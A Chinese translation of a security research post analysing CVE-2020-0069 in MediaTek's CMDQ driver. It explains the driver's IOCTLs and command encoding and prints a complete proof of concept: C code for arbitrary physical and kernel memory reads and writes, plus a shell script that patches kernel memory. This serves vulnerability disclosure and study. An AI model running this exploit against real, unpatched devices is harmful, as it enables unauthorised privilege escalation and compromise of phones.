导语:2020年3月,Google修复了一个严重漏洞,该漏洞影响了许多基于MediaTek的设备。此漏洞自2019年4月起被联发科(MediaTek)所知,后来被野蛮利用!在本文中,将提供有关此漏洞的一些详细信息,并了解如何使用它来实现内核内存的读写。
2020年3月,Google修复了一个严重漏洞,该漏洞影响了许多基于MediaTek的设备。此漏洞自2019年4月起被联发科(MediaTek)所知,后来被野蛮利用!在本文中,将提供有关此漏洞的一些详细信息,并了解如何使用它来实现内核内存的读写。
0x01 漏洞介绍
2020年3月,Google修复了一个严重漏洞,该漏洞影响了许多基于MediaTek的设备。此漏洞是2019年4月被联发科技发现的,此漏洞允许没有权限的本地攻击者读写系统内存,从而导致权限提升。甚至还有一个mtk-su 漏洞利用文件,该文件可让许多存在漏洞的设备进行root提权,该漏洞利用文件是在2019年开发的。
0x02 CVE-2020-0069
根据联发科技所述,此漏洞使本地攻击者可以对物理内存地址进行任意读取/写入,从而导致权限提升。受影响的模块是MediaTek Command Queue驱动程序(或CMDQ驱动程序)。攻击者可以使用驱动程序上的IOCTL分配DMA(直接内存访问)缓冲区,并向DMA硬件发送命令,以使其能够读写物理地址。
直接内存访问是一项允许专用硬件直接从主内存(RAM)发送数据或从主内存(RAM)接收数据的功能。目的是通过允许大内存访问不用过多的CPU来完成此任务,从而加快系统速度。该驱动程序允许从用户域与DMA控制器进行通信,以实现与媒体通信或显示相关的任务。
此漏洞影响了10多个SoC(片上系统),甚至还有更多未发现设备。已经成功在小米Redmi 6a设备上(使用联发科技MT6762M SoC)对其进行了利用。
0x03 CMDQ驱动程序
网上有此驱动程序源代码的多个版本。在本研究中,主要研究了小米Redmi 6a开源内核。可以在drivers / misc / mediatek / cmdq中找到该驱动程序的实现。在SoC上关联的设备驱动程序可以是/ dev / mtk-cmdq或/ proc / mtk-cmdq,在存在漏洞的设备上未经许可可用于root提权利用。
如前所述,可以使用IOCTL syscall由用户区控制驱动程序。
#define CMDQ_IOCTL_EXEC_COMMAND _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 3, \ struct cmdqCommandStruct) #define CMDQ_IOCTL_QUERY_USAGE _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 4, \ struct cmdqUsageInfoStruct) /* */ /* Async operations */ /* */ #define CMDQ_IOCTL_ASYNC_JOB_EXEC _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 5, \ struct cmdqJobStruct) #define CMDQ_IOCTL_ASYNC_JOB_WAIT_AND_CLOSE _IOR(CMDQ_IOCTL_MAGIC_NUMBER, 6, \ struct cmdqJobResultStruct) #define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 7, \ struct cmdqWriteAddressStruct) #define CMDQ_IOCTL_FREE_WRITE_ADDRESS _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 8, \ struct cmdqWriteAddressStruct) #define CMDQ_IOCTL_READ_ADDRESS_VALUE _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 9, \ struct cmdqReadAddressStruct)
从可用的操作中,将研究以下内容:
· CMDQ_IOCTL_ALLOC_WRITE_ADDRESS用于分配DMA缓冲区,并以cmdqWriteAddressStruct结构作为参数;
· CMDQ_IOCTL_FREE_WRITE_ADDRESS用于释放先前分配的DMA缓冲区;
· CMDQ_IOCTL_EXEC_COMMAND允许将命令缓冲区发送到DMA控制器,并使用cmdqCommandStruct结构作为参数;
· CMDQ_IOCTL_READ_ADDRESS_VALUE可用于读取DMA缓冲区值。
分配DMA缓冲区
当调用CMDQ_IOCTL_ALLOC_WRITE_ADDRESS时,会提供一个cmdqWriteAddressStruct结构,该结构在count字段中包含请求的缓冲区的大小。在startPA字段中会收到一个物理地址,无法直接从用户名访问该地址。要访问此内存区域,可以使用CMDQ_IOCTL_EXEC_COMMAND。
通过从先前的分配中调用带有cmdqWriteAddressStruct结构的CMDQ_IOCTL_FREE_WRITE_ADDRESS结构,可以释放DMA缓冲区。
命令执行
CMDQ_IOCTL_EXEC_COMMAND采用结构cmdqCommandStruct作为参数。
struct cmdqCommandStruct { [...] /* [IN] pointer to instruction buffer. Use 64-bit for compatibility. */ /* This must point to an 64-bit aligned u32 array */ cmdqU32Ptr_t pVABase; /* [IN] size of instruction buffer, in bytes. */ u32 blockSize; /* [IN] request to read register values at the end of command */ struct cmdqReadRegStruct regRequest; /* [OUT] register values of regRequest */ struct cmdqRegValueStruct regValue; /* [IN/OUT] physical addresses to read value */ struct cmdqReadAddressStruct readAddress; [...]
如前所述,此IOCTL允许发送由DMA控制器执行的命令,这些命令放在用户区缓冲区中,其地址必须放在pVABase字段中,其大小放在blockSize字段中。
执行完命令后,命令结构中的readAddress字段可用于从DMA缓冲区读取值。字段readAddress.dmaAddresses指向一个用户缓冲区,其中包含来自DMA缓冲区的地址,其大小由字段readAddress.count引用。内核将读取所有地址,并将这些值放置在由readAddress.values字段指向的userland缓冲区中。
也可以通过使用IOCTL命令CMDQ_IOCTL_READ_ADDRESS_VALUE来读取DMA缓冲区。
命令说明
命令由两个32位字组成,并由命令代码标识。
enum cmdq_code { CMDQ_CODE_READ = 0x01, CMDQ_CODE_MASK = 0x02, CMDQ_CODE_MOVE = 0x02, CMDQ_CODE_WRITE = 0x04, CMDQ_CODE_POLL = 0x08, CMDQ_CODE_JUMP = 0x10, CMDQ_CODE_WFE = 0x20, CMDQ_CODE_EOC = 0x40, [...]
这是将要使用的一些命令的描述。
CMDQ_CODE_WRITE和CMDQ_CODE_READ
写命令用于将数据寄存器中的值写入地址寄存器中的地址,读取命令读取地址寄存器所指向的地址处的值,并将结果放入数据寄存器中。
根据选项位(图中的TYPE A和TYPE B),可以从位于REG NUMBER字段中的subsysID值和位于VALUE字段中的偏移量来计算地址。该subsysID随后将由内核DTS所引用的实际物理地址替换。
CMDQ_CODE_MOVE
该命令允许将一个值(最多48位)放入寄存器中。该值可以放置在数据寄存器或地址寄存器中,并且可以是任何数据或地址,这可能是最大的漏洞问题,因为未检查地址。
CMDQ_CODE_WFE
WFE代表等待事件和清除。可以使用它来阻止某些寄存器的使用(就像使用互斥锁一样),与该命令一起使用的事件标志与将在命令缓冲区中使用的一组寄存器相关联。例如,对于寄存器CMDQ_DATA_REG_DEBUG(R7)和 CMDQ_DATA_REG_DEBUG_DST(P11),必须使用事件(或在源中调用的令牌)CMDQ_SYNC_TOKEN_GPR_SET_4。需要在每个命令缓冲区的开头和结尾使用WFE命令。
CMDQ_CODE_EOC
EOC代表命令结束。必须将其放置在CMDQ_CODE_WFE命令之后的每个命令缓冲区的末尾,以指示命令列表的末尾。它似乎包含许多标志,但是对于的用法,只需要始终设置似乎是IRQ标志的内容即可。
CMDQ_CODE_JUMP
根据消息来源的评论,它允许使用偏移量跳入命令缓冲区。在每个命令缓冲区的最后,在命令CMDQ_CODE_EOC之后使用此命令,始终跳转到偏移量0x8,即上一个命令。的理论是,预取机制是在DMA控制器中实现的,并且此命令确保将CMDQ_CODE_EOC命令考虑在内。
寄存器
在命令描述中,提到了寄存器。有两种寄存器:
· 由32位组成的值寄存器(从R0到R15);
· 地址寄存器(从P0到P7),由64位组成。
enum cmdq_gpr_reg { /* Value Reg, we use 32-bit */ /* Address Reg, we use 64-bit */ /* Note that R0-R15 and P0-P7 actually share same memory */ /* and R1 cannot be used. */ CMDQ_DATA_REG_JPEG = 0x00, /* R0 */ CMDQ_DATA_REG_JPEG_DST = 0x11, /* P1 */ CMDQ_DATA_REG_PQ_COLOR = 0x04, /* R4 */ CMDQ_DATA_REG_PQ_COLOR_DST = 0x13, /* P3 */ CMDQ_DATA_REG_2D_SHARPNESS_0 = 0x05, /* R5 */ CMDQ_DATA_REG_2D_SHARPNESS_0_DST = 0x14, /* P4 */ CMDQ_DATA_REG_2D_SHARPNESS_1 = 0x0a, /* R10 */ CMDQ_DATA_REG_2D_SHARPNESS_1_DST = 0x16, /* P6 */ CMDQ_DATA_REG_DEBUG = 0x0b, /* R11 */ CMDQ_DATA_REG_DEBUG_DST = 0x17, /* P7 */
0x04 内存读写
对驱动程序的工作原理有了一些更好的了解,下面来实现基本的内存读写。
内存写入
要在内存中写入32位值,可以使用以下命令:
· 将32位值移到值寄存器中;
· 将想要将其值放入地址寄存器的地址移动到该地址;
· 将值寄存器中的值写入地址寄存器中的地址。
// move value into CMDQ_DATA_REG_DEBUG *(uint32_t*)(command->pVABase + command->blockSize) = value; *(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23 | CMDQ_DATA_REG_DEBUG << 16 | (pa_address + offset) >> 0x20; command->blockSize += 8; // move pa_address into CMDQ_DATA_REG_DEBUG_DST *(uint32_t*)(command->pVABase + command->blockSize) = (uint32_t)pa_address; *(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23 | CMDQ_DATA_REG_DEBUG_DST << 16 | (pa_address + offset) >> 0x20; command->blockSize += 8; //write CMDQ_DATA_REG_DEBUG into CMDQ_DATA_REG_DEBUG_DST *(uint32_t*)(command->pVABase + command->blockSize) = CMDQ_DATA_REG_DEBUG; *(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_WRITE << 24 | 3 << 22 | CMDQ_DATA_REG_DEBUG_DST << 16; command->blockSize += 8;
内存读取
可以使用以下四个命令读取内存中的32位值:
· 将要读取的地址(pa_address)移到地址寄存器中;
· 将地址寄存器指向的地址处的数据读入值寄存器;
· 将DMA缓冲区地址(dma_address)移到地址寄存器中;
· 将值寄存器中的数据写入地址寄存器中的地址。
需要将这些命令放置在struct cmdqCommandStruct结构的pVABase字段中预先分配的缓冲区中,命令缓冲区的大小必须放在字段blockSize中。
*(uint32_t*)(command->pVABase + command->blockSize) = (uint32_t)pa_address; *(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23 | CMDQ_DATA_REG_DEBUG_DST << 16 | (pa_address + offset) >> 0x20; command->blockSize += 8; // read value at CMDQ_DATA_REG_DEBUG_DST into CMDQ_DATA_REG_DEBUG *(uint32_t*)(command->pVABase + command->blockSize) = CMDQ_DATA_REG_DEBUG; *(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_READ << 24 | 3 << 22 | CMDQ_DATA_REG_DEBUG_DST << 16; command->blockSize += 8; // move dma_address into CMDQ_DATA_REG_DEBUG_DST *(uint32_t*)(command->pVABase + command->blockSize) = (uint32_t)dma_address; *(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23 | CMDQ_DATA_REG_DEBUG_DST << 16 | (pa_address + offset) >> 0x20; command->blockSize += 8; //write CMDQ_DATA_REG_DEBUG into CMDQ_DATA_REG_DEBUG_DST *(uint32_t*)(command->pVABase + command->blockSize) = CMDQ_DATA_REG_DEBUG; *(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_WRITE << 24 | 3 << 22 | CMDQ_DATA_REG_DEBUG_DST << 16;
然后,通过填充readAddress字段来通知驱动程序要读取DMA缓冲区中的值:
*(uint32_t*)((uint32_t)command->readAddress.dmaAddresses) = dma_address; command->readAddress.count = offset;
结果将写入readAddress.values中,该地址必须事先分配。
PoC
要确定内核使用的物理地址,可以使用设备/ proc / iomem(需要root权限)。
# cat /proc/iomem [...] 40000000-545fffff : System RAM 40008000-415fffff : Kernel code 41800000-41d669b3 : Kernel data [...]
这些地址是静态配置的,在每次引导时都将保持不变。
PoC由两个程序组成:
· 一个允许对基本内存进行读写的C程序;
· 一个shell脚本,该脚本调用前一个程序以在内核数据存储器中搜索“ Linux”字符串的第一个匹配项,然后将其替换为“ minix”。
$ uname -a Linux localhost 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l $ sh poc.sh [+] Found Linux string at 0x4180bc00 [+] Found Linux string at 0x4180bea0 [+] Write the patched value $ uname -a minix 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l
已经能够读写内核数据存储器,而且,可以对其他系统内存区域执行相同的操作,从而绕过系统中已有的权限和保护。因此,还可以使用此漏洞来修改系统内存的任何部分,例如内核代码和数据,以实现权限提升。
使用mtk-su漏洞在内核内存中执行了许多工作,从而实现了root用户提权。在本文中,将不提供有关mtk-su使内核利用方法的更多详细信息。启动mtk-su时必须预先加载它,并且它将跟踪CMDQ驱动程序的某些IOCTL,例如发送给驱动程序的命令。
$ mkdir mtk-su $ LD_PRELOAD=./syscall-hook.so ./mtk-su alloc failed alloc count=400 startPA=0x5a733000 uncatched ioctl 40e07803 exec command (num 0) ( blockSize=8040, readAddress.count=0 ) dumped into cmd-0 exec command (num 1) ( blockSize=3e0, readAddress.count=1e ) dumped into cmd-1 [...] $ cat mtk-su/cmd-1 WFE to_wait=1, wait=1, to_update=1, update=0, event=1da MOVE 40928000 into reg 17 READ address reg 17, data reg b [...]
完整PoC如下:
https://github.com/quarkslab/CVE-2020-0069_poc #!/bin/sh # find linux for i in `seq 0 0x400 0x5669b3` do ./kernel_rw r $(printf '%x' "$(($i + 0x41800000))") "dump-$i" 400 &> /dev/null if grep -a -q Linux "dump-$i"; then echo "[+] Found Linux string at "0x$(printf '%x' "$(($i + 0x41800000))") break; else rm "dump-$i" fi done # look for more precise offset rm "dump-$i" for j in `seq $i 0x10 $(($i + 0x400))` do ./kernel_rw r $(printf '%x' "$(($j + 0x41800000))") "dump-$j" 16 &> /dev/null if grep -a -q Linux "dump-$j"; then echo "[+] Found Linux string at "0x$(printf '%x' "$(($j + 0x41800000))") break; else rm "dump-$j" fi done # replace Linux by minix xxd -p dump-$j | sed 's/4c696e7578/6d696e6978/' | xxd -r -p - > dump-$j-patched # write it back echo "[+] Write the patched value" ./kernel_rw w $(printf '%x' "$(($j + 1098907648))") dump-$j-patched &> /dev/null rm "dump-$j" dump-$j-patched /* Copyright 2020 M. Rossi Bellom * Copyright 2020 Quarkslab * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include #include #include #include #include #include "mtk/cmdq_v3_driver.h" #include "mtk/cmdq_def.h" #include "mtk/cmdq_event_common.h" #include "mtk/mtk-cmdq.h" #define CMDQ_INST_SIZE 8 #define DMA_MAX 0x400 // hw dependant int driver_fd; // Trick to let the preload script log everything uint32_t ioctl_hook (int code, int a, int b) { return syscall(0x36, code, a, b); } // extracted from kernel sources enum CMDQ_CODE_ENUM { /* these are actual HW op code */ CMDQ_CODE_READ = 0x01, CMDQ_CODE_MOVE = 0x02, CMDQ_CODE_WRITE = 0x04, CMDQ_CODE_POLL = 0x08, CMDQ_CODE_JUMP = 0x10, CMDQ_CODE_WFE = 0x20, /* wait for event and clear */ CMDQ_CODE_EOC = 0x40, /* end of command */ /* these are pseudo op code defined by SW */ /* for instruction generation */ CMDQ_CODE_SET_TOKEN = 0x21, /* set event */ CMDQ_CODE_WAIT_NO_CLEAR = 0x22, /* wait event, but don't clear it */ CMDQ_CODE_CLEAR_TOKEN = 0x23, /* clear event */ CMDQ_CODE_RAW = 0x24, /* allow entirely custom arg_a/arg_b */ CMDQ_CODE_PREFETCH_ENABLE = 0x41, /* enable prefetch marker */ CMDQ_CODE_PREFETCH_DISABLE = 0x42, /* disable prefetch marker */ }; // build command buf in order to write values at pa_address static uint32_t write_address_buf(struct cmdqCommandStruct* command, uint64_t pa_address, uint32_t* values, uint32_t num_addr) { uint32_t count = 0; uint32_t* cmd_buffer = command->pVABase; // WFE (to_wait=1, wait=1, to_update=1, update=0, event=CMDQ_SYNC_TOKEN_GPR_SET_4) *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = 1 << 15 | 1 | 1 << 31 | 0 << 16; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_WFE << 24 | CMDQ_SYNC_TOKEN_GPR_SET_4; command->blockSize += 8; uint32_t offset = 0; while (count < num_addr) { // move value into CMDQ_DATA_REG_DEBUG *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = (uint32_t)values[count]; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23 | CMDQ_DATA_REG_DEBUG << 16 | (pa_address + offset) >> 0x20; command->blockSize += 8; // move pa_address + offset into CMDQ_DATA_REG_DEBUG_DST *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = (uint32_t)pa_address + offset; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23 | CMDQ_DATA_REG_DEBUG_DST << 16 | (pa_address + offset) >> 0x20; command->blockSize += 8; //write CMDQ_DATA_REG_DEBUG into CMDQ_DATA_REG_DEBUG_DST *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = CMDQ_DATA_REG_DEBUG; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_WRITE << 24 | 3 << 22 | CMDQ_DATA_REG_DEBUG_DST << 16; command->blockSize += 8; count++; offset += 4; } /* WFE */ *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = 0 << 15 | 0 | 1 << 31 | 1 << 16; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_WFE << 24 | CMDQ_SYNC_TOKEN_GPR_SET_4; command->blockSize += 8; /* EOC */ *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = 1; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_EOC << 24; command->blockSize += 8; /* JUMP */ *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = 8; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_JUMP << 24; command->blockSize += 8; return ioctl_hook(driver_fd, CMDQ_IOCTL_EXEC_COMMAND, command); } // build command buf to read memory at pa_address and put the values into dma_address static uint32_t read_addresses_buf(struct cmdqCommandStruct* command, uint64_t pa_address, uint64_t dma_address, uint32_t num_addr) { uint32_t count = 0; uint32_t* cmd_buffer = command->pVABase; // WFE (to_wait=1, wait=1, to_update=1, update=0, event=CMDQ_SYNC_TOKEN_GPR_SET_4) *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = 1 << 15 | 1 | 1 << 31 | 0 << 16; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_WFE << 24 | CMDQ_SYNC_TOKEN_GPR_SET_4; command->blockSize += 8; uint32_t offset = 0; while (count < num_addr) { // move pa_address + offset into CMDQ_DATA_REG_DEBUG_DST *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = (uint32_t)pa_address + offset; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23 | CMDQ_DATA_REG_DEBUG_DST << 16 | (pa_address + offset) >> 0x20; command->blockSize += 8; // read value at CMDQ_DATA_REG_DEBUG_DST into CMDQ_DATA_REG_DEBUG *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = CMDQ_DATA_REG_DEBUG; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_READ << 24 | 3 << 22 | CMDQ_DATA_REG_DEBUG_DST << 16; command->blockSize += 8; // move dma_address + offset into CMDQ_DATA_REG_DEBUG_DST *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = (uint32_t)dma_address + offset; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23 | CMDQ_DATA_REG_DEBUG_DST << 16 | (pa_address + offset) >> 0x20; command->blockSize += 8; //write CMDQ_DATA_REG_DEBUG into CMDQ_DATA_REG_DEBUG_DST *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = CMDQ_DATA_REG_DEBUG; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_WRITE << 24 | 3 << 22 | CMDQ_DATA_REG_DEBUG_DST << 16; command->blockSize += 8; *(uint32_t*)((uint32_t)command->readAddress.dmaAddresses + offset) = (uint32_t)dma_address + offset; count++; offset += 4; } command->readAddress.count = offset; /* WFE */ *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = 0 << 15 | 0 | 1 << 31 | 1 << 16; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_WFE << 24 | CMDQ_SYNC_TOKEN_GPR_SET_4; command->blockSize += 8; /* EOC */ *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = 1; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_EOC << 24; command->blockSize += 8; /* JUMP */ *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize) = 8; *(uint32_t*)((uint32_t)cmd_buffer + command->blockSize + 4) = CMDQ_CODE_JUMP << 24; command->blockSize += 8; return ioctl_hook(driver_fd, CMDQ_IOCTL_EXEC_COMMAND, command); } void dump_values(struct cmdqReadAddressStruct *read_address, uint64_t addr, char* fname) { FILE* f = fopen(fname, "ab"); for (int i = 0; i < read_address->count; i++) { fwrite((uint32_t*)(read_address->values + (i * 4)), sizeof(uint32_t), 1, f); } fclose(f); } // read and dump buffer at pa_address uint32_t read_addresses(struct cmdqCommandStruct* command, uint64_t pa_address, uint64_t dma_address, uint32_t read_size, char* fname) { uint64_t i = 0; uint32_t count = 0, num_bytes = read_size; if (num_bytes < DMA_MAX) { if (read_addresses_buf(command, pa_address, dma_address, num_bytes/4) < 0) return -1; dump_values(&command->readAddress, pa_address, fname); return 0; } while (i < num_bytes) { if (read_addresses_buf(command, pa_address + i, dma_address, DMA_MAX/4) < 0) return -1; dump_values(&command->readAddress, pa_address + i, fname); i += DMA_MAX; } if (i > num_bytes) { i -= DMA_MAX; if (read_addresses_buf(command, pa_address + i, dma_address, (num_bytes - i)/4) < 0) return -1; dump_values(&command->readAddress, pa_address + i, fname); } return 0; } // write a buf from file at pa_address uint32_t write_addresses(struct cmdqCommandStruct* command, char* fname, uint64_t pa_address) { FILE *f = fopen(fname, "rb"); uint32_t values[DMA_MAX], size; uint64_t offset = 0; do { size = fread(values, 1, DMA_MAX, f); if (size > 0) write_address_buf(command, pa_address + offset, values, (size / 4)); offset += size; } while (size == DMA_MAX); fclose(f); return 0; } #define BUF_SIZE 0x3000 int main(int argc, char *argv[]) { short rw = 0; //0 read, 1 write uint64_t pa_address = 0; if (argc < 4) { printf("Usage command []\n"); exit(-1); } if (*argv[1] == 'w') rw = 1; if (sscanf(argv[2], "%" SCNx64, &pa_address) != 1) { printf("Wrong address\n"); exit(-2); } driver_fd = open("/dev/mtk_cmdq", O_RDONLY, S_IRWXU | S_IRWXG | S_IRWXO); if (driver_fd < 0) { perror("open device"); return -1; } /* Allocate DMA buffer */ struct cmdqWriteAddressStruct writeAddress= { .count = DMA_MAX }; ioctl_hook(driver_fd, CMDQ_IOCTL_ALLOC_WRITE_ADDRESS, &writeAddress); printf("startPA = 0x%x\n", writeAddress.startPA); /* Send command */ uint32_t* cmd_buffer = (uint32_t*) calloc(1, CMDQ_INST_SIZE * (BUF_SIZE + 8)); uint64_t read_address = (uint64_t) malloc(BUF_SIZE); uint64_t read_values = (uint64_t) malloc(BUF_SIZE); struct cmdqCommandStruct command; memset(&command, 0, sizeof(struct cmdqCommandStruct)); command.pVABase = (uint32_t)cmd_buffer; command.readAddress.dmaAddresses = read_address; command.readAddress.values = read_values; command.readAddress.count = 0; uint32_t success = 0; struct cmdqCommandStruct command2; memset(&command2, 0, sizeof(struct cmdqCommandStruct)); command2.pVABase = (uint32_t)cmd_buffer; command2.readAddress.dmaAddresses = read_address; command2.readAddress.values = read_values; command2.readAddress.count = 0; if (rw == 1) /* write memory */ success = write_addresses(&command2, argv[3], pa_address); else { /* Read memory */ uint32_t size = 0x400; if (argc > 3 && (sscanf(argv[4], "%" SCNx32, &size) != 1)) { printf("Wrong read size, using default\n"); size = 0x400; } success = read_addresses(&command2, pa_address, writeAddress.startPA, size, argv[3]); } /* Free DMA buffer */ ioctl_hook(driver_fd, CMDQ_IOCTL_FREE_WRITE_ADDRESS, &writeAddress); close(driver_fd); return success; }
0x05 分析结论
此漏洞允许任何应用程序读写所有系统内存,包括内核内存;每个应用程序都需要访问该设备驱动程序,而不仅仅是HAL(硬件抽象层)和与媒体相关的进程需要访问该设备驱动程序。至少要增加一个额外的步骤才能从具有零特权的应用程序获得root用户权限。
根据Fire HD 8 Linux内核的资料,已通过解析命令缓冲区中的所有命令并验证每个命令以及所使用的地址和寄存器来解决此问题。例如,仅允许将DMA缓冲区中的地址移至地址寄存器。
0x06 参考文献
[1] https://source.android.com/security/bulletin/2020-03-01 [2] https://forum.xda-developers.com/android/development/amazing-temp-root-mediatek-armv8-t3922213 [3] https://www.xda-developers.com/files/2020/03/CVE-2020-0069.png [4] https://github.com/MiCode/Xiaomi_Kernel_OpenSource/tree/cactus-p-oss [5] https://www.amazon.com/gp/help/customer/display.html?tag=androidpolice-20&nodeId=200203720 [6] https://www.xda-developers.com/mediatek-su-rootkit-exploit/
本文翻译自:https://blog.quarkslab.com/cve-2020-0069-autopsy-of-the-most-stable-mediatek-rootkit.html如若转载,请注明原文地址: